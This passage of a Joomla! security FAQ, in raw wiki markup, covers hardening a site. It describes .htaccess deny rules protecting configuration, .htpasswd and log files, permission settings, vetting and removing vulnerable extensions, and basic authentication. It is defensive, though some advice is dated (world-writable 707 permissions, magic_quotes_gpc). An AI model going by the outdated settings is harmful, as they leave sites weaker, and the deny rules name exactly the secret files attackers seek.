Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
